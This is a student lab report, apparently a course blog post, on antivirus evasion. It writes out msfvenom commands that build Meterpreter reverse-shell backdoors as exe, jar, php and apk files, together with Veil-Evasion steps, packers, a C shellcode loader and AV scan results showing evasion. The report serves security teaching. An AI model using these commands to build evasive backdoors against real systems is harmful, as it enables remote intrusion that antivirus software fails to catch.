2019-2020-2 20175313张黎仙《网络对抗技术》Exp3 免杀原理与实践

一、实验目标

  1. 了解恶意软件检测机制
  2. 学会使用msf、veil、加壳工具、C+shellcode等方法实现部分免杀
  3. 通过组合应用各种技术实现恶意代码免杀
  4. 掌握将生成的免杀程序注入目标机,并回连成功

二、预备知识

免杀概念

一般是对恶意软件做处理,让它不被杀毒软件所检测。

恶意软件检测机制

  • 基于特征码的检测
  • 恶意代码包含这样的数据
  • 正常程序不包含这样的数据
  • AV软件厂商要做的就是尽量搜集最全的、最新的特征码库
  • 启发式恶意软件检测
  • 根据些片面特征去推断。通常是因为缺乏精确判定依据。
  • 对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。
  • 典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
  • 基于行为的恶意软件检测

从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。

免杀原理及技术

  • 改变特征码
  • 只有EXE
    • 加壳:压缩壳 加密壳
  • 有shellcode(像Meterpreter)
    • 用encode进行编码
    • 基于payload重新编译生成可执行文件
  • 有源代码
    • 用其他语言进行重写再编译(veil-evasion)
  • 改变行为
  • 通讯方式
    • 尽量使用反弹式连接:meterpreter本身即主要使用反弹连接
    • 使用隧道技术:如dns2tcp、iodine可将流量封闭为DNS协议包
    • 加密通讯数据:如使用reverse-https进行转发
  • 操作模式
    • 基于内存操作:meterpreter是基于内存操作的操作的
    • 减少对系统的修改
    • 加入混淆作用的正常功能代码

msf的使用帮助

root @ KaliYL:/ home / YL#msfvenom -p windows / meterpreter / reverse_tcp -x ./KiTTYPortable.exe -e x86 / shikata_ga_nai -i 5 -b'\ x00'LHOST = 192.168.136.131 LPORT = 5313 -f exe> KiTTy_backdoor.exe

  • 参数说明:
  • -p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
  • -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
  • -e 使用的编码器,用于对shellcode变形,为了免杀。
  • -i 编码器的迭代次数。如上即使用该编码器编码5次。
  • -b badchar是payload中需要去除的字符。
  • LHOST 是反弹回连的IP
  • LPORT 是回连的端口
  • -f 生成文件的类型
  • > 输出到哪个文件

三、实验内容

任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil,加壳工具等单一方法实现部分免杀

实验要求

(1)正确使用msf编码器

  • 使用msfvenom -l encoders查看可以用于生成后门的编码器

  • 使用实验二生成的后门程序,放在VirusTotal上进行扫描,结果如下:

  • 将编码一次生成的后门程序进行扫描,结果如下:


  • 将编码十次生成的后门程序进行扫描,结果如下:


  • 结论
  • 对比上述三组实验结果,可知AV厂商研究的是编码器本身,shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,只要盯住这部分就可以了。
  • 还有模板。模板就是msfvenom用来生成最终Exe的那个壳子exe文件,msfvenom会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,也有一定的固定特征。
  • AV厂商还会针对其使用的模板来生成特征码,这样就一劳永逸地解决所有msfvenom生成的恶意代码了。那如果使用msfvenom免杀,就要使用原生的模板。

(2)msfvenom生成如jar之类的其他文件

  • 生成jar文件

msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.136.131 lport=5313 x> meter_backdoor_java.jar

  • 生成php文件

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.136.131 LPORT=5313 x> meter_backdoor.php

  • 生成apk文件

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.136.131 LPORT=5313 R > meter_backdoor.apk

(3)veil

  • 先输入veil指令,然后用use evasion命令进入Veil-Evasion

  • 输入use c/meterpreter/rev_tcp.py进入配置界面
  • 设置反弹连接IPset LHOST 192.168.136.131
  • 设置端口set LPORT 5313
  • 查看配置options
  • 输入generate生成文件,接着输入生成的文件名


  • 验证生成的文件路径是否正确

  • 扫描结果:

  • 腾讯电脑管家查杀结果:

(4)加壳工具

  • 压缩壳


  • 加密壳


(5)使用C + shellcode编程

  • 使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.136.131 LPORT=5313 -f c用c语言生成一段shellcode;
  • 创建一个文件20175313zlx.c,然后将unsigned char buf[]赋值到其中,代码如下:
unsigned char buf[] = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
...
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
int main()
{
    int (*func)() = (int(*)())buf;
    func();
}
  • 使用命令:i686-w64-mingw32-g++ 20175313zlx.c -o 20175313_backdoor.exe生成可执行文件;


  • 腾讯电脑管家和金山毒霸查杀结果:

(6)使用其他课堂未介绍方法

  1. 生成shellcode
msfvenom -p  windows/meterpreter/reverse_https -e x86/xor_dynamic -i 5 -b '\x00' lhost=192.168.87.128 lport=5313  -f c -o shell.c
  1. c+shellcode用codeblocks编译,生成.exe

  1. 压缩壳

反而变成22/72,也许是压缩壳upx经常被使用,特征较为明显。

  1. Windows下软件查杀

任务二:通过组合应用各种技术实现恶意代码免杀

  • 选择生成ruby程序
  • 进行tcp_ssl连接
  • 选择动态异或编译器
  • 成功实现免杀

  • 下载ruby编译器,编译生成exe
  • 分别下载了金山毒霸和腾讯电脑管家进行测试,结果也都免杀成功。
  • 腾讯电脑管家查杀结果:
  • 金山毒霸查杀结果:

任务三:将生成的免杀程序注入目标机,并回连成功

  • 金山毒霸,版本2017.6.16.18427
  • 腾讯电脑管家,版本2.0.6.27
  • 回连过程与实验二类似这里就不过多叙述,详情见实验二.

四、实验过程中遇到的问题

  • 问题:ip addr找不到地址

  • 解决方法:
  • 进入root模式下,输入vim /etc/network/interfaces
  • 修改配置文件,在文件最后添加
auto eth0
iface eth0 inet dhcp
  • 保存并退出后,输入/etc/init.d/networking restart重启网卡,就解决了。

五、实验思考

基础问题回答

(1)杀软是如何检测出恶意代码的?

通过恶意软件检测机制,进行检测。

  • 基于特征码的检测
  • 启发式恶意软件检测
  • 基于行为的恶意软件检测

(2)免杀是做什么?

免杀就是通过对杀软检测恶意代码的方法进行分析,对恶意软件做处理,使其避免采用这些方法,从而达到让它不被杀毒软件所检测到的目的。

(3)免杀的基本方法有哪些?

既然杀软是通过上述恶意软件检测机制对恶意代码进行查杀,那么要达到免杀必然要对上面的查杀规则进行一定加工,使其无法让杀软检测出这些规则。


  • 改变特征码
  • 只有EXE
    • 加壳:压缩壳 加密壳
  • 有shellcode(像Meterpreter)
    • 用encode进行编码
    • 基于payload重新编译生成可执行文件
  • 有源代码
    • 用其他语言进行重写再编译(veil-evasion)
  • 改变行为
  • 通讯方式
    • 尽量使用反弹式连接:meterpreter本身即主要使用反弹连接
    • 使用隧道技术:如dns2tcp、iodine可将流量封闭为DNS协议包
    • 加密通讯数据:如使用reverse-https进行转发
  • 操作模式
    • 基于内存操作:meterpreter是基于内存操作的操作的
    • 减少对系统的修改
    • 加入混淆作用的正常功能代码

思考题

开启杀软能绝对防止电脑中恶意代码吗?

不能。

  • 每一款杀毒软件都是针对一部分恶意代码进行设计的,对于形形色色的恶意代码,可能这个杀毒软件能杀出来,但另一个杀毒软件就不一定能杀出来,你又不可能把所有杀毒软件都装在电脑中。
  • 再者说来,杀软的检测机制要求其实时更新,而对于一些高级玩家他们写出的恶意代码可能不具备这些特征,杀软照样无可奈何。

六、实践总结与体会

实验总结

实验体会

  • 本次实验,主要费时间的就是veil的安装,以及构造免杀的恶意代码。
  • 对于veil的安装,我只能说这真的考验人的耐心。在安装过程中,我都把一周的毛中特摘抄抄完了……,虽然它就三条指令,但是克隆是真的慢……
  • 对于构造免杀代码,我真的是瞎猫碰上死耗子,这种我觉得也是纯粹靠运气。简单的不一定就容易被查杀,复杂的也不一定不容易被查杀。就拿我起初构造的免杀代码来说,简单c+shellcode,72个查杀出20个;我说加个压缩壳把,72个查杀出22个;我说再加个加密壳,72个查杀出24个……
  • 当然通过本次实验,又加深了我对恶意代码的认识,每个实验都能学到不一样的东西,学无止境。

七、参考资料

posted @ 2020-03-23 15:15  20175313张黎仙  阅读(297)  评论(0编辑  收藏  举报